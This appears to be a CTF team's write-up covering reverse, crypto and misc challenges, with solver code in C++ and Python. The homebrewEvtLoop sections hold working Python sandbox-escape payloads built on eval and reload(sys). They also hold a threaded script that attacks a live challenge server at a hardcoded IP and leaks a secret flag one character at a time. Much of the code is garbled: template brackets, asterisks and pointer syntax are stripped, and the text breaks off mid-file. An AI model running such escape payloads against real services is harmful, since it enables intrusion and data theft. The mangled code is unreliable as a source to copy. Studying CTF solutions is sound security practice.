template inline T max(T a,T b){return a>b?a:b;} template inline T min(T a,T b){return a inline T abs(T a){return a>0?a:-a;} template inline bool repr(T &a,T b){return a inline bool repl(T &a,T b){return a>b?a=b,1:0;} template inline T gcd(T a,T b){T t;if(a inline T sqr(T x){return x*x;}

define mp(a,b) std::make_pair(a,b)

define pb push_back

define I attribute((always_inline))inline

define mset(a,b) memset(a,b,sizeof(a))

define mcpy(a,b) memcpy(a,b,sizeof(a))

define fo0(i,n) for(int i=0,i##end=n;i<i##end;i++)

define fo1(i,n) for(int i=1,i##end=n;i<=i##end;i++)

define fo(i,a,b) for(int i=a,i##end=b;i<=i##end;i++)

define fd0(i,n) for(int i=(n)-1;~i;i--)

define fd1(i,n) for(int i=n;i;i--)

define fd(i,a,b) for(int i=a,i##end=b;i>=i##end;i--)

define foe(i,x)for(__typeof((x).end())i=(x).begin();i!=(x).end();++i)

define fre(i,x)for(__typeof((x).rend())i=(x).rbegin();i!=(x).rend();++i)

struct Cg{I char operator()(){return getchar();}}; struct Cp{I void operator()(char x){putchar(x);}};

define OP operator

define RT return *this;

define UC unsigned char

define RX x=0;UC t=P();while((t<'0'||t>'9')&&t!='-')t=P();bool f=0;\

if(t=='-')t=P(),f=1;x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'

define RL if(t=='.'){lf u=0.1;for(t=P();t>='0'&&t<='9';t=P(),u=0.1)x+=u(t-'0');}if(f)x=-x

define RU x=0;UC t=P();while(t<'0'||t>'9')t=P();x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'

define TR *this,x;return x;

I bool IS(char x){return x==10||x==13||x==' ';}templatestruct Fr{T P;I Fr&OP,(int&x) {RX;if(f)x=-x;RT}I OP int(){int x;TR}I Fr&OP,(ll &x){RX;if(f)x=-x;RT}I OP ll(){ll x;TR}I Fr&OP,(char&x) {for(x=P();IS(x);x=P());RT}I OP char(){char x;TR}I Fr&OP,(charx){char t=P();for(;IS(t);t=P());if(~t){for(;!IS (t)&&~t;t=P())x++=t;}*x++=0;RT}I Fr&OP,(lf&x){RX;RL;RT}I OP lf(){lf x;TR}I Fr&OP,(llf&x){RX;RL;RT}I OP llf() {llf x;TR}I Fr&OP,(uint&x){RU;RT}I OP uint(){uint x;TR}I Fr&OP,(ull&x){RU;RT}I OP ull(){ull x;TR}};Frin;

define WI(S) if(x){if(x<0)P('-'),x=-x;UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')

define WL if(y){lf t=0.5;for(int i=y;i--;)t=0.1;if(x>=0)x+=t;else x-=t,P('-');this,(ll)(abs(x));P('.');if(x<0)\

x=-x;while(y--){x=10;x-=floor(x0.1)10;P(((int)x)%10+'0');}}else if(x>=0)this,(ll)(x+0.5);else *this,(ll)(x-0.5);

define WU(S) if(x){UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')

templatestruct Fw{T P;I Fw&OP,(int x){WI(10);RT}I Fw&OP()(int x){WI(10);RT}I Fw&OP,(uint x){WU(10);RT} I Fw&OP()(uint x){WU(10);RT}I Fw&OP,(ll x){WI(19);RT}I Fw&OP()(ll x){WI(19);RT}I Fw&OP,(ull x){WU(20);RT}I Fw&OP() (ull x){WU(20);RT}I Fw&OP,(char x){P(x);RT}I Fw&OP()(char x){P(x);RT}I Fw&OP,(const charx){while(x)P(x++);RT} I Fw&OP()(const charx){while(x)P(x++);RT}I Fw&OP()(lf x,int y){WL;RT}I Fw&OP()(llf x,int y){WL;RT}};Fwout;

uint val[6][9]={ { 0xFDFE0BA1, 0x9A915052, 0xC96F3527, 0xF5201FCD, 0xFE32ED8F, 0xDB8E3EF9, 0x051EF954, 0xFE217F1C, 0x7B33A8BB }, { 0x9CF903A1, 0xC381E2CD, 0x22B35BE4, 0x4550E6AE, 0xDC9E8F3C, 0xA9B44EAF, 0x3372486A, 0x51329F58, 0x5F2F456E }, { 0x9B555A08, 0xEB1A8529, 0x9B009084, 0x9B0B7B06, 0x9967F311, 0x91FB13AB, 0x18952236, 0x6F7B9915, 0xEDD9D6D1 }, { 0xFB67FE21, 0x259911B0, 0x3DC4EE74, 0x98936FF0, 0xDF7502CE, 0xC3DF1016, 0xBC1220F9, 0xF54C810C, 0x715A634C }, { 0x3E1637A6, 0x80F07B8D, 0xFB9CA491, 0xAD254C2E, 0xFB5A012F, 0x1AEF5581, 0xB9CC1351, 0x9A3B536D, 0xBD7FAF0F }, { 0xF49AD883, 0x02C55324, 0x83BC3205, 0x43846281, 0x19382448, 0xFADB2B18, 0x9335D185, 0x94C6BF5A, 0x591685AE } };

const uint key[6][9]={ {0x0B849CD19, 0x55E00017, 0x844966B, 0x80C181EC, 0x686C0B3C, 0x55400592, 0x0CD42168A, 0x4039E81, 0x0D9DE549F}, {0x2034677D, 0x144ABD, 0x49100D00, 0x0E003A0E0, 0x80F0006D, 0x8307ADD6, 0x4CF60781, 0x0A0352643, 0x0C580C3DE}, {0x0EA8C4E24, 0x68603008, 0x687FBFFF, 0x19DE4BF9, 0x271A1179, 0x99791C4D, 0x29CBFFC, 0x2B82801E, 0x3C0307FB}, {0x0DAE61CD6, 0x8F7B1BF0, 0x0C56CEF1D, 0x0D6493A96, 0x1808018, 0x0F48001B9, 0x3712519, 0x9294F318, 0x6DE20384}, {0x0F3750B04, 0x256A122A, 0x257290B, 0x0C4582056, 0x204E8BC0, 0x79C7ADE7, 0x0C4C20203, 0x5B961570, 0x66034856}, {0x78329E3A, 0x1D07C00, 0x4AC240E6, 0x854CFBBE, 0x0ABFEC404, 0x5BD80037, 0x0E94CBCD8, 0x1, 0x0C4CA280D} };

unsigned int secret[12] = { 0xD481DD44, 0xE66CF0E0, 0x6C86565D, 0xEF6C2A6D, 0xD170230A, 0x9159B169, 0x3DCF0D3F, 0xD9331E76, 0x64691AF0, 0xDBF384CF, 0x069E3E3A, 0x7122DE4D };

struct side_t { pii s[2];uint v[2]; side_t(int a,int b,int c,int d){s[0]=mp(a,b),s[1]=mp(c,d);} inline pii&operator{return s[x];}; };

side_t side[12]={ side_t(0,1,4,7), side_t(0,3,2,5), side_t(0,5,3,3), side_t(0,7,5,1), side_t(4,5,3,1), side_t(3,7,5,5), side_t(5,3,2,7), side_t(2,1,4,3), side_t(1,1,5,7), side_t(1,3,2,3), side_t(1,5,3,5), side_t(1,7,4,1) };

struct corner_t { pii s[3];uint v[3]; corner_t(int a,int b,int c,int d,int e,int f){s[0]=mp(a,b),s[1]=mp(c,d),s[2]=mp(e,f);} inline pii&operator{return s[x];}; };

corner_t cor[8]={ corner_t(0,2,3,0,4,8), corner_t(0,8,3,6,5,2), corner_t(0,6,5,0,2,8), corner_t(0,0,2,2,4,6), corner_t(1,8,3,2,4,2), corner_t(1,6,4,0,2,0), corner_t(1,2,3,8,5,8), corner_t(1,0,2,6,5,6) };

uint face[6],tmp[9]; bool vis[6][9],sideu[12],coru[8];

int main() { fo0(i,6)vis[i][4]=1,face[i]=val[i][4]; fo0(i,12)fo0(j,2)vis[side[i][j].xx][side[i][j].yy]=1,side[i].v[j]=val[side[i][j].xx][side[i][j].yy]; fo0(i,8)fo0(j,3)vis[cor[i][j].xx][cor[i][j].yy]=1,cor[i].v[j]=val[cor[i][j].xx][cor[i][j].yy]; fo0(i,6)fo0(j,9)assert(vis[i][j]); fo0(u,6) { fo0(i,6) { int flag=0; uint cen=face[i]; fo0(a,12)fo0(b,a+1)fo0(c,b+1)fo0(d,c+1)fo0(ai,2)fo0(bi,2)fo0(ci,2)fo0(di,2) { uint sides=side[a].v[ai]+side[b].v[bi]+side[c].v[ci]+side[d].v[di]+cen; if(sides==secret[u2+1]) { out,"find ",u," side:",i,' ',a,' ',b,' ',c,' ',d,'\n'; tmp[1]=side[a].v[ai],tmp[3]=side[b].v[bi],tmp[5]=side[c].v[ci],tmp[7]=side[d].v[di]; flag|=1; } } fo0(x,8)fo0(y,x)fo0(z,y)fo0(r,z)fo0(xi,3)fo0(yi,3)fo0(zi,3)fo0(ri,3) { uint cors=cor[x].v[xi]+cor[y].v[yi]+cor[z].v[zi]+cor[r].v[ri]+cen; if(cors==secret[u2]) { out,"find ",u," corner:",i,' ',x,' ',y,' ',z,' ',r,'\n'; tmp[0]=cor[x].v[xi],tmp[2]=cor[y].v[yi],tmp[6]=cor[z].v[zi],tmp[8]=cor[r].v[ri]; flag|=3; } } tmp[4]=cen; if(flag) { //fo0(i,9)out,tmp[i],' ';out,'\n'; /std::sort(tmp,tmp+9); while(1) { uint sum=0; fo0(j,9)sum+=key[0][j]tmp[j]; if(sum==1179927338)out,"ok\n"; //out,sum,'\n'; if(!std::next_permutation(tmp,tmp+9))break; }/ out,"process:",u,'\n'; uint a[4],b[4]; a[0]=tmp[0],a[1]=tmp[2],a[2]=tmp[6],a[3]=tmp[8]; b[0]=tmp[1],b[1]=tmp[3],b[2]=tmp[5],b[3]=tmp[7]; std::sort(a,a+4); std::sort(b,b+4); while(1) { while(1) { tmp[0]=a[0],tmp[2]=a[1],tmp[6]=a[2],tmp[8]=a[3]; tmp[1]=b[0],tmp[3]=b[1],tmp[5]=b[2],tmp[7]=b[3]; uint sum=0; fo0(j,9)sum+=key[u][j]tmp[j]; //fo0(j,4)out,char(sum>>j8&255);out,'\n'; char digit[5]; fo0(j,4) { digit[j]=sum>>j8&255; } digit[5]=0; bool f=1; fo0(j,4)f&=digit[j]>=32&&digit[j]<=127; if(f)out,digit,'\n'; if(!std::next_permutation(b,b+4))break; } if(!std::next_permutation(a,a+4))break; } } } } } ```

yy

yacc生成的语法解析程序. 测试出可用字符0-9a-zCTF{}*_, 以及对应的作用. 最外层格式*CTF{}, 内层0-9a-zbox中选择字符加入到buffer, _调用AES CBC加密. ``` 6124258631AB6EAFB114FE76783D1EFF append

E5E5 258631AB6EAFB114FE76783D1EFF yy 11D65E864F6B675E B114FE76783D1EFF funct10n 6B4E 258631AB6EAFB114FE76783D1EFF 1s 1D6F478A 31AB6EAFB114FE76783D1EFF h4rd 825E8A 8631AB6EAFB114FE76783D1EFF and 5E67 258631AB6EAFB114FE76783D1EFF n0 5EEDED8A 31AB6EAFB114FE76783D1EFF n33d 4F37 258631AB6EAFB114FE76783D1EFF to 47ED58ED474EED AFB114FE76783D1EFF r3v3rs3 ```

fanoGo

程序用go写的。 程序先把输入的字符串转成二进制,然后用一个静态的二进制前缀(长度不定)表匹配输入,匹配到之后输出表中的值。 构造输入使得输出的字符串等于特定文本即可。 注意输入时utf8编码的。 ' ': '0001' 'I': '00101011' 'L': '00101100001' ',': '0010001' '-': '00100100' '.': '00100101' ';': '001001111' 'a': '0011' 'b': '010000' 'c': '010001' 'd': '01001' 'e': '0101' 'f': '01100' 'g': '01101' 'h': '0111' 'i': '1000' 'j': '1001000' 'k': '1001001' 'l': '100101' 'm': '10011' 'n': '1010' 'o': '10110' 'p': '10111' 'q': '11000' 'r': '11001' 's': '1101' 't': '1110' 'u': '111100' 'v': '111101' 'w': '1111100' 'x': '1111101' 'y': '1111110' 'z': '111111100000'

Obfuscating Macros II

瞎调, 发现是feistel. ```python= from struct import pack

a, b = 0xA1E8895EB916B732, 0x50A2DCC51ED6C4A2

def bnot(v): return v ^ 0xFFFFFFFFFFFFFFFF

def p(v1, v2, i=0): print(str(i+1)+' ' + hex(v1) + ', ' +hex(v2))

def sub(v1, v2): return (v1 - v2 + (1 << 64)) & 0xFFFFFFFFFFFFFFFF

for i in xrange(0x400): loa = a & 1 lob = b & 1 a >>= 1 b >>= 1 if loa: b |= 0x8000000000000000 if lob: a |= 0x8000000000000000

t = sub(b, a) # a
b = a
a = t

loa = a & 1
lob = b & 1
a >>= 1
b >>= 1
if loa:
    b |= 0x8000000000000000
if lob:
    a |= 0x8000000000000000

a = bnot(a)
if a & 1:
    b ^= a
else:
    b ^= bnot(a)
#p(a, b, i)

print(pack('<QQ', a, b)) ```

Crypto

babyprng

构造自动机。找1,找到后输出num个,然后再输出num个0,循环。

python num = 13 code = "\x11\x02\x01\x33" + "\x00" * num + "\x03\x04\x05"+ "\x00" * num + "\x50"

babyprng2

If the first two elements in stack is different, add them to result, otherwise remove them.

payload:

0401140400003705053a

notfeal

Differential attack.

```cpp

include

typedef unsigned int uint; typedef long long ll; typedef unsigned long long ull; typedef double lf; typedef long double llf; typedef std::pair pii;

define xx first

define yy second

template inline T max(T a,T b){return a>b?a:b;} template inline T min(T a,T b){return a inline T abs(T a){return a>0?a:-a;} template inline bool repr(T &a,T b){return a inline bool repl(T &a,T b){return a>b?a=b,1:0;} template inline T gcd(T a,T b){T t;if(a inline T sqr(T x){return x*x;}

define mp(a,b) std::make_pair(a,b)

define pb push_back

define I attribute((always_inline))inline

define mset(a,b) memset(a,b,sizeof(a))

define mcpy(a,b) memcpy(a,b,sizeof(a))

define fo0(i,n) for(int i=0,i##end=n;i<i##end;i++)

define fo1(i,n) for(int i=1,i##end=n;i<=i##end;i++)

define fo(i,a,b) for(int i=a,i##end=b;i<=i##end;i++)

define fd0(i,n) for(int i=(n)-1;~i;i--)

define fd1(i,n) for(int i=n;i;i--)

define fd(i,a,b) for(int i=a,i##end=b;i>=i##end;i--)

define foe(i,x)for(__typeof((x).end())i=(x).begin();i!=(x).end();++i)

define fre(i,x)for(__typeof((x).rend())i=(x).rbegin();i!=(x).rend();++i)

struct Cg{I char operator()(){return getchar();}}; struct Cp{I void operator()(char x){putchar(x);}};

define OP operator

define RT return *this;

define UC unsigned char

define RX x=0;UC t=P();while((t<'0'||t>'9')&&t!='-')t=P();bool f=0;\

if(t=='-')t=P(),f=1;x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'

define RL if(t=='.'){lf u=0.1;for(t=P();t>='0'&&t<='9';t=P(),u=0.1)x+=u(t-'0');}if(f)x=-x

define RU x=0;UC t=P();while(t<'0'||t>'9')t=P();x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'

define TR *this,x;return x;

I bool IS(char x){return x==10||x==13||x==' ';}templatestruct Fr{T P;I Fr&OP,(int&x) {RX;if(f)x=-x;RT}I OP int(){int x;TR}I Fr&OP,(ll &x){RX;if(f)x=-x;RT}I OP ll(){ll x;TR}I Fr&OP,(char&x) {for(x=P();IS(x);x=P());RT}I OP char(){char x;TR}I Fr&OP,(charx){char t=P();for(;IS(t);t=P());if(~t){for(;!IS (t)&&~t;t=P())x++=t;}*x++=0;RT}I Fr&OP,(lf&x){RX;RL;RT}I OP lf(){lf x;TR}I Fr&OP,(llf&x){RX;RL;RT}I OP llf() {llf x;TR}I Fr&OP,(uint&x){RU;RT}I OP uint(){uint x;TR}I Fr&OP,(ull&x){RU;RT}I OP ull(){ull x;TR}};Frin;

define WI(S) if(x){if(x<0)P('-'),x=-x;UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')

define WL if(y){lf t=0.5;for(int i=y;i--;)t=0.1;if(x>=0)x+=t;else x-=t,P('-');this,(ll)(abs(x));P('.');if(x<0)\

x=-x;while(y--){x=10;x-=floor(x0.1)10;P(((int)x)%10+'0');}}else if(x>=0)this,(ll)(x+0.5);else *this,(ll)(x-0.5);

define WU(S) if(x){UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')

templatestruct Fw{T P;I Fw&OP,(int x){WI(10);RT}I Fw&OP()(int x){WI(10);RT}I Fw&OP,(uint x){WU(10);RT} I Fw&OP()(uint x){WU(10);RT}I Fw&OP,(ll x){WI(19);RT}I Fw&OP()(ll x){WI(19);RT}I Fw&OP,(ull x){WU(20);RT}I Fw&OP() (ull x){WU(20);RT}I Fw&OP,(char x){P(x);RT}I Fw&OP()(char x){P(x);RT}I Fw&OP,(const charx){while(x)P(x++);RT} I Fw&OP()(const charx){while(x)P(x++);RT}I Fw&OP()(lf x,int y){WL;RT}I Fw&OP()(llf x,int y){WL;RT}};Fwout;

std::mt19937 ran(114514);

typedef unsigned char uc;

uint key[6];

uc gbox(uc a,uc b,uc mode) { uc x=a+b+mode; return x<<2|x>>6; }

uint fbox(uint plain) { uc plain0=plain&255;plain>>=8; uc plain1=plain&255;plain>>=8; uc plain2=plain&255;plain>>=8; uc plain3=plain; uc t0=plain2^plain3; uc y1=gbox(plain0^plain1,t0,1); uc y0=gbox(plain0,y1,0); uc y2=gbox(t0,y1,0); uc y3=gbox(plain3,y2,1); return y3|((uint)y2<<8)|((uint)y1<<16)|((uint)y0<<24); }

ull enc(ull pt,uint*ks) { uint l=(pt&0xffffffff)^ks[4]; uint r=(pt>>32)^ks[5]^l; fo0(i,4) { uint nl=r^fbox(l^ks[i]); r=l; l=nl; //out,l,' ',r,'\n'; } uint t=r; r^=l; l=t; return l|((ull)r<<32); }

ull dec(ull pt,uint*ks) { uint l=pt&0xffffffff; uint r=pt>>32; uint t=l; l^=r; r=t; fd0(i,4) { int lo=r; r=l^fbox(lo^ks[i]); l=lo; } r^=ks[5]^l; l^=ks[4]; return l|((ull)r<<32); }

ull enc_tm(ull pt,int tm) { uint l=(pt&0xffffffff)^key[4]; uint r=(pt>>32)^key[5]^l; fo0(i,tm) { uint nl=r^fbox(l^key[i]); r=l; l=nl; //out,l,' ',r,'\n'; } return l|((ull)r<<32); }

std::vector>df[4];

const int N=25;

void check(ull diff,int tm) { if(df[tm].size()==N)return; //out,diff,'\n'; uint od=0; fo0(i,100) { ull a=((ull)ran()<<32)|ran(); if(!i)a=0; ull b=a^diff; ull ae=enc_tm(a,tm); ull be=enc_tm(b,tm); uint al=ae&0xffffffff,ar=ae>>32; uint bl=be&0xffffffff,br=be>>32; if(!i)od=ar^br; else if(od^ar^br)return; uint v=fbox(al^key[tm])^fbox(bl^key[tm]); if(0&&i>50)fo0(j,500) { uint tkey=ran(); //out,"fafa\n"; if(!(v^fbox(al^tkey)^fbox(bl^tkey)))return; } } //out,out_diff.begin()->xx,'\n'; //if(out_diff.size()==1) { //out,"check_diff:",diff,' ',tm," ok\n"; //df[tm]=diff; //odf[tm]=od; df[tm].pb(mp(diff,od)); } }

ull undo_fin(ull x) { uint l=x&0xffffffff; uint r=x>>32; //r r^l uint t=l^r; return t|((ull)l<<32); }

ull r0[N],r1[N],c0[N],c1[N],d[N];

uint crack(int n) { out,"start crack\n"; //for(uint pk=0;pk<0xffffffff;pk++) for(uint pk=1;;) //for(uint pk=key[0];pk<=key[0];pk++) { fo0(i,n) { uint left0=c0[i]&0xffffffff,right0=c0[i]>>32; uint left1=c1[i]&0xffffffff,right1=c1[i]>>32; uint fl0=fbox(right0^pk),fl1=fbox(right1^pk); //out,'@',fbox(right0^pk)^fbox(right1^pk)^fbox(key[3]^right0)^fbox(key[3]^right1),'\n'; //out,fl0,' ',fl1,' ',left0,' ',left1,' ',right0,' ',right1,' ',d[i],'\n'; if(fl0^fl1^left0^left1^d[i])goto naive; } //out,"find key:",pk,'\n'; return pk; naive:; pk^=pk<<13; pk^=pk>>17; pk^=pk<<5; if(pk==1)break; } //out,"failed\n"; return 0; }

ull undo_round(ull x,uint key) { uint l=x&0xffffffff; uint r=x>>32; //doxor(r, fbox(doxor(l,ks[i]))), l ull oldl=r; ull oldr=l^fbox(oldl^key); return oldl|((ull)oldr<<32); }

ull tr0[N],tr1[N],tc0[N],tc1[N],td[N],flag[5];

std::string run_id;

inline void full() { fo0(i,6)key[i]=ran(); assert(dec(enc(0,key),key)==0); const int V=13; fo0(i,N) { tr0[i]=((ull)ran()<<32)|ran(); //r0[i]=0; if(i&{ fo0(i,8)fprintf(f,"%d ",int(x>>(i8)&255)); }; fo0(i,N)put(tr0[i]); fo0(i,N)put(tr1[i]); fclose(f); system(("python t3.py "+run_id+".in "+run_id+".out").c_str()); f=fopen((run_id+".out").c_str(),"r"); auto get=&{ r=0; fo0(i,8) { int x; fscanf(f,"%d",&x); r+=ull(x)<<(i8); } }; fo0(i,N)get(tc0[i]); fo0(i,N)get(tc1[i]); fo0(i,5)get(flag[i]); fclose(f); } fo0(i,N-V) { r0[i]=tr0[i+V]; r1[i]=tr1[i+V]; c0[i]=tc0[i+V]; c1[i]=tc1[i+V]; d[i]=td[i+V]; c0[i]=undo_fin(c0[i]); c1[i]=undo_fin(c1[i]); } uint key3; if(1)key3=crack(N-V);else key3=key[3]; fo0(i,V) { r0[i]=tr0[i]; r1[i]=tr1[i]; c0[i]=tc0[i]; c1[i]=tc1[i]; d[i]=td[i]; c0[i]=undo_fin(c0[i]); c1[i]=undo_fin(c1[i]); c0[i]=undo_round(c0[i],key3); c1[i]=undo_round(c1[i],key3); } uint key2; if(1)key2=crack(V);else key2=key[2]; fo0(i,N) { r0[i]=tr0[i]; r1[i]=tr1[i]; c0[i]=tc0[i]; c1[i]=tc1[i]; d[i]=(r0[i]^r1[i])&0xffffffff; c0[i]=undo_fin(c0[i]); c1[i]=undo_fin(c1[i]); c0[i]=undo_round(c0[i],key3); c1[i]=undo_round(c1[i],key3); c0[i]=undo_round(c0[i],key2); c1[i]=undo_round(c1[i],key2); } uint key1; if(1)key1=crack(N);else key1=key[1]; fo0(i,N) { r0[i]=tr0[i]; r1[i]=tr1[i]; c0[i]=tc0[i]; c1[i]=tc1[i]; d[i]=((r0[i]^r1[i])>>32)^((r0[i]^r1[i])&0xffffffff); c0[i]=undo_fin(c0[i]); c1[i]=undo_fin(c1[i]); c0[i]=undo_round(c0[i],key3); c1[i]=undo_round(c1[i],key3); c0[i]=undo_round(c0[i],key2); c1[i]=undo_round(c1[i],key2); c0[i]=undo_round(c0[i],key1); c1[i]=undo_round(c1[i],key1); } uint key0,key4,key5; if(0)key0=key[0],key4=key[4],key5=key[5]; else { out,"crack0\n"; for(uint pk=1;;) //for(uint pk=key[0];pk<=key[0];pk++) { uint vk4,vk5; fo0(i,N) { uint left=c0[i]&0xffffffff,right=c0[i]>>32; uint fl=fbox(right^pk); //r^fl l uint oldl=right,oldr=left^fl; uint rawl=r0[i]&0xffffffff,rawr=r0[i]>>32; uint k4=rawl^oldl,k5=oldr^oldl^rawr; if(!i)vk4=k4,vk5=k5; else if(vk4!=k4||vk5!=k5)goto naive2; left=c1[i]&0xffffffff,right=c1[i]>>32; fl=fbox(right^pk); //r^fl l oldl=right,oldr=left^fl; rawl=r1[i]&0xffffffff,rawr=r1[i]>>32; k4=rawl^oldl,k5=oldr^oldl^rawr; if(vk4!=k4||vk5!=k5)goto naive2; } out,pk,' ',vk4,' ',vk5,'\n'; key0=pk,key4=vk4,key5=vk5; break; naive2:; pk^=pk<<13; pk^=pk>>17; pk^=pk<<5; if(pk==1)break; } } //if(key0==key[0]&&key1==key[1]&&key2==key[2]&&key3==key[3]&&key4==key[4]&&key5==key[5])out,"====================================\n"; FILEf=fopen((run_id+".txt").c_str(),"a"); uint rkey[6]={key0,key1,key2,key3,key4,key5}; fo0(i,5) { ull v=dec(flag[i],rkey); fo0(j,8)fputc(v>>(j8)&255,f); } fputc(10,f); fclose(f); }

int main(int argc,charargv) { if(argc>1)run_id=argv[1]; if(1) { //fo0(i,5)ran(); //fo0(i,64)check(1ull<<i,1); //fo0(i,64)fo0(j,i)check(1ull<<i|1ull<<j,1); //fo0(i,64)check(1ull<<i,2); fo0(i,64)fo0(j,i)check(1ull<<i|1ull<<j,2); fo0(i,64)fo0(j,i)fo0(k,j)check(1ull<<i|1ull<<j|1ull<<k,2); //fo0(i,64)fo0(j,i)fo0(k,j)fo0(l,k)check(1ull<<i|1ull<<j|1ull<<k|1ull<<l,2); fo0(i,64)fo0(j,i)check(1ull<<i|1ull<<j,3); fo0(i,64)fo0(j,i)fo0(k,j)check(1ull<<i|1ull<<j|1ull<<k,3); //fo0(i,64)fo0(j,i)fo0(k,j)fo0(l,k)check(1ull<<i|1ull<<j|1ull<<k|1ull<<l,3); fo0(i,64)fo0(j,i)fo0(k,j)fo0(l,k)fo0(u,l)check(1ull<<i|1ull<<j|1ull<<k|1ull<<l|1ull<<u,3); fo0(i,64)fo0(j,i)fo0(k,j)fo0(l,k)fo0(u,l)fo0(v,u)check(1ull<<i|1ull<<j|1ull<<k|1ull<<l|1ull<<u|1ull<<v,3); } //fo1(i,3)out,df[i],' ',odf[i],'\n'; fo1(i,3)out,df[i].size(),'\n'; /fo0(T,10) { fo0(i,6)key[i]=ran(); fo0(i,N) { r0[i]=((ull)ran()<<32)|ran(); //r0[i]=0; r1[i]=r0[i]^df[2][i%df[2].size()].xx; d[i]=df[2][i%df[2].size()].yy; //r1[i]=r0[i]^df[3][i%df[3].size()].xx; //d[i]=df[3][i%df[3].size()].yy; c0[i]=enc(r0[i],key); c1[i]=enc(r1[i],key); c0[i]=undo_fin(c0[i]); c1[i]=undo_fin(c1[i]); c0[i]=undo_round(c0[i],key[3]); c1[i]=undo_round(c1[i],key[3]); } uint x=crack(); if(x==key[2])out,"====================================\n"; }/ /fo0(T,10) { fo0(i,6)key[i]=ran(); fo0(i,N) { r0[i]=((ull)ran()<<32)|ran(); uint diff=ran(); r1[i]=r0[i]^diff; d[i]=diff; //r1[i]=r0[i]^df[3][i%df[3].size()].xx; //d[i]=df[3][i%df[3].size()].yy; c0[i]=enc(r0[i],key); c1[i]=enc(r1[i],key); c0[i]=undo_fin(c0[i]); c1[i]=undo_fin(c1[i]); c0[i]=undo_round(c0[i],key[3]); c1[i]=undo_round(c1[i],key[3]); c0[i]=undo_round(c0[i],key[2]); c1[i]=undo_round(c1[i],key[2]); } uint x=crack(5); if(x==key[1])out,"====================================\n"; }/ //while(1)full(); full(); } ```

notcurves

这题好像有点问题,最后直接(0,0)就过了... 感觉是题目最后少了个check_point(R)

Misc

She

Using Cheat Engine, we can know all values in memory are represented by $value\times 2+1$. Then edit flag to a big value and buy everything.

Then lock health to infinity, and attack the chicken again and again, finally it dies.

He has a trigger condition and operation, which can be seen in the event. The number corresponding to the event is 371269, and the last room is 321697 from left to right.

done!

homebrewEvtLoop

Python 语言特性可以覆盖 args 变量,然后调用 reload(sys) 重载 sys,之后 input 可以执行代码 args = ['233'] eval('[[reload][0]for[args]in[[sys]]][0]')(args)

homeBrewEvtLoop--

To get the flag, we can use session[args[0]], and set args to ['log']. We can use [[x][0]for[x]in[valid_event_chars][0]] to convert valid_event_chars to a list. We can check if x is 0 using [ping_handler][x].

So just enumerate each character in flag, and enumerate what it should be, and use this payload to check:

[ping_handler][[session[args[0]][XXX]][0]is[[x][0]for[x]in[valid_event_chars][0]][YYY]]114514log

```python import hashlib import socket import string import random import time import sys import math from PIL import Image import numpy as np from base64 import b64encode

def _recv(s,x): #global s r=s.recv(x) #sys.stdout.write(r) return r

def recv(s,x,y='wxh'): res='' while True: u=_recv(s,1024) res+=u if res.find(x)!=-1 or res.find(y)!=-1:return res ''' hs={} x=0 while len(hs)!=65536: hs[hashlib.sha1(str(x)).hexdigest()[:4]]=x x+=1 if x%10000==0: print len(hs) print x ''' ss=set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789[]')

fin=list('ctf{JtWCBuYlVN75pb]y8zhJem9GAH1YsUqgMEvQn_P2wd0ID')+[' ']50

fin=list('ctf{JtWCBuYlVN75pb]y8zhJem9GAH1YsUqgMEvQn_P2wd0IDRTaHjZ3i6SQXr')+[' ']37

def test(pos,x): global fin s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(10) s.connect(('34.92.121.149',54321))

p=recv(s,'==')
p=p[p.find('hashlib.sha1(input).hexdigest() == "')+36:]
v=p[:p.find('"')]
#print v,hs[v]
v=hs[v]
s.send(str(v)+'\n')

recv(s,'$')
#send('ping_handler1145145\n')
cmd='[ping_handler][[session[args[0]][%d]][0]is[[x][0]for[x]in[valid_event_chars][0]][%d]]114514log'%(pos,x)
#print cmd
s.send(cmd+'\n')
#send('session[session[args[0]]]114514log\n')
v=recv(s,'>')
#if 'pong' not in v:
#   print i,'ok'
#print 'pong' in v
if 'pong' not in v:
    fin[pos]=[[g][0]for[g]in[ss][0]][x]

print [[g][0]for[g]in[ss][0]][38] exit()

import threading,time

to=[] th=[] for pos in range(len(fin)): if fin[pos]!=' ':continue for i in range(len(ss)): to.append(threading.Thread(target=test,args=(pos,i))) #th[-1].start()

while True: #cnt=0 tn=[] for i in th: if i.isAlive(): tn.append(i) th=tn if len(th)<20: x=20-len(th) for i in to[:x]: i.start() th+=to[:x] to=to[x:] time.sleep(.1) print len(to),''.join(fin) ```

flash

通过解压我拿到了flash里的文件,以图片和一个mp3文件组成。

mp3 通过查看频谱得到一部分flag

另外一半flag,图片由黑白,组成,图片数目为 21*21 。画一个二维扫描即可得到另一半flag

```python import hashlib import Image

black a5c1a15bf2a7bea83c068b3f59bb769f

white 382d4d5bd9271f935c04d08fe12b8b01

file_name = 'Image %d at frame %d.png'

demo = 'Image 429 at frame 428.png'

def getMD5(filename): f = open(filename,'rb') md5obj = hashlib.md5() md5obj.update(f.read()) sum = md5obj.hexdigest() return sum

s = ''

for i in xrange(441): file_name = 'Image %d at frame %d.png' % (i+1,i) if getMD5(file_name) == 'a5c1a15bf2a7bea83c068b3f59bb769f': s += '1' else: s += '0'

print(s) print(len(s))

str = s

MAX = 21 pic = Image.new("RGB",(MAX, MAX)) i=0 for y in range (0,MAX): for x in range (0,MAX): if(str[i] == '1'): pic.putpixel([x,y],(0, 0, 0)) else: pic.putpixel([x,y],(255,255,255)) i = i+1 pic.show() pic.save("flag.png") ```

sokoban

推箱子游戏 直接搜索,bfs+hash判重 ```cpp

include

include

include

include

include

include

using namespace std;

define MAXN 16

define MAXL 3

// 8:wall,4:human,2:box,1:destination

define MOD 1000037

